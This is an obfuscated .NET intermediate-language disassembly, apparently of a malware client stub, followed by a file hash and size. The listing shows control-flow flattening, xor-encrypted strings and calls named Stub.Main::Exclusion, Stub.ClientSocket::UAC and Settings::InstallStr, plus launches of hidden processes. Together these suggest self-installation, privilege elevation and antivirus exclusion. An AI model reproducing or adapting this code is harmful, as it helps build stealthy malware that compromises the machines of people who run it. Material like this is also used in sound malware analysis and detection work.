switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC) leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud() dup <null> ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC) stloc.s V_3 ldc.i4 2 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_211565d2b26644ddbdb837cf9e9e9e52 brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0) pop <null> ldc.i4 2 br IL_04DA: switch(IL_0543,IL_051A,IL_04F0) ldloc V_10 switch dnlib.DotNet.Emit.Instruction[] br IL_0543: leave IL_09B2 ldc.i4.0 <null> ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF) ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_69c013052fcf44d2b6204694e8138978 brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0) pop <null> ldc.i4 1 br IL_04DA: switch(IL_0543,IL_051A,IL_04F0) ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b4ebe58c937347369205077fe492f1ed brfalse IL_04DA: switch(IL_0543,IL_051A,IL_04F0) pop <null> ldc.i4 0 br IL_04DA: switch(IL_0543,IL_051A,IL_04F0) leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud() ldc.i4 4 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_c6d7ff3a18cf471b8854e63832e743dd brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 5 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ret <null> call System.Void Stub.Main::Exclusion() ldc.i4 12 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldc.i4.0 <null> ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF) ldc.i4 13 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldloc.s V_2 ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255 brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 0 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) nop <null> ldc.i4 1515351469 ldc.i4 1909800451 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0f105b6618ba4105b60c300da2a58c42 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldc.i4 6 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc V_0 switch dnlib.DotNet.Emit.Instruction[] br IL_0704: ldloc.s V_8 call System.String Stub.ClientSocket::UAC() ldsfld f0kcAVHKKDnTA9qaud8 f0kcAVHKKDnTA9qaud8::WDGH3PM0tn call System.Boolean f0kcAVHKKDnTA9qaud8::xZ9Xnyn2eH(System.String,f0kcAVHKKDnTA9qaud8) brtrue IL_0731: ldloc.s V_8 ldc.i4 5 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) br IL_0643: ldloc.s V_8 ldc.i4 3 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldc.i4 882264746 ldc.i4 508622031 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_34ec70f218a54aa79419f4f1f1fc5246 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldc.i4 -1400386390 ldc.i4 5 shl <null> ldc.i4 -1693870519 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_5d71d0531b444f739537d8fc03faf5a4 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.s V_17 stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldc.i4 2031172983 ldc.i4 -1972715937 xor <null> ldc.i4 -908804420 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d5135f5733f64121a9b3b3c512e625d0 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI) ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3 call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1c9d0144972348edae0a08f9f03c64e1 brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 0 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldsfld yePdF4HpRFtIhQiyR6X yePdF4HpRFtIhQiyR6X::aN0HqaS5eq call System.Diagnostics.Process yePdF4HpRFtIhQiyR6X::xZ9Xnyn2eH(System.Diagnostics.ProcessStartInfo,yePdF4HpRFtIhQiyR6X) stloc.s V_14 ldc.i4 5 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_18940d6a81ab4f1cba7726bce1fa455e brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 7 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldc.i4 -830919920 ldc.i4 -1151935049 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_431e3ba207164089aa7901503c8f9196 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldc.i4 -146499275 ldc.i4 -112577482 add <null> ldc.i4 -495944183 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_48fc0e3d2f1045eebda11602c405c0a7 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.s V_17 stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldc.i4 -758686241 ldc.i4 -619454025 xor <null> ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0b195c64432247deb96ea38d739b4747 xor <null> call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32) stelem.ref <null> ldloc.s V_13 ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI) ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3 call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp) ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_915835602374416d9c01f2036c561824 brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 4 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_14 ldsfld y7Rnk2HlR4ZaIw7br64 y7Rnk2HlR4ZaIw7br64::haAHXJYc5L call System.Void y7Rnk2HlR4ZaIw7br64::xZ9Xnyn2eH(System.Object,y7Rnk2HlR4ZaIw7br64) ldc.i4 8 stloc V_0 br IL_05E4: ldloc V_0 br IL_0704: ldloc.s V_8 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e5d0b7ab14c348f89e2daa40872dece4 brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) pop <null> ldc.i4 1 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) ldloc.s V_8 ldc.i4.1 <null> ldsfld bPuES4XzDykOPut5OH4 bPuES4XzDykOPut5OH4::IS6HNqhZDE call System.Void bPuES4XzDykOPut5OH4::xZ9Xnyn2eH(System.Object,System.Diagnostics.ProcessWindowStyle,bPuES4XzDykOPut5OH4) ldc.i4 2 br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841) leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD() dup <null> ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC) stloc.s V_12 ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_46bda5a28d3c4ae898d8b974b7e5c526 brfalse IL_0876: switch(IL_08B1,IL_0888) pop <null> ldc.i4 1 br IL_0876: switch(IL_08B1,IL_0888) ldloc V_5 switch dnlib.DotNet.Emit.Instruction[] br IL_08B1: leave IL_02F1 ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H) ldc.i4 0 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8 brtrue IL_0876: switch(IL_08B1,IL_0888) pop <null> ldc.i4 0 br IL_0876: switch(IL_08B1,IL_0888) leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD() ldc.i4 2 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3 brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 3 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc) ldc.i4 1 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_a2c6c08eb7574184935e223cb1287b5d brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 0 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_1 ldc.i4 2 stloc V_16 br IL_0015: ldloc V_16 call System.Void KbKRAxvsogQsaUeKqUF.A6gx6dvfJql0smO2B5d::kLjw4iIsCLsZtxc4lksN0j() ldc.i4 16 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldloc.s V_2 ldsfld OJFEOoHamXYX7td0S3p OJFEOoHamXYX7td0S3p::KtCHuSKKUR call System.Void OJFEOoHamXYX7td0S3p::xZ9Xnyn2eH(System.Object,OJFEOoHamXYX7td0S3p) ldc.i4 11 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.s V_2 ldc.i4 10 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_2094e23594db47de96097844ae2ddb61 brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 8 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) ldloc.s V_1 ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc) ldc.i4 8 ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0332813b65b0498d88025656d114c5be brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) pop <null> ldc.i4 1 br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930) call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud() brfalse IL_0577: ldc.i4.0 ldc.i4 14 stloc V_16 br IL_0015: ldloc V_16

0529a5892e6cb49def5866992e0289bd (409.09 KB)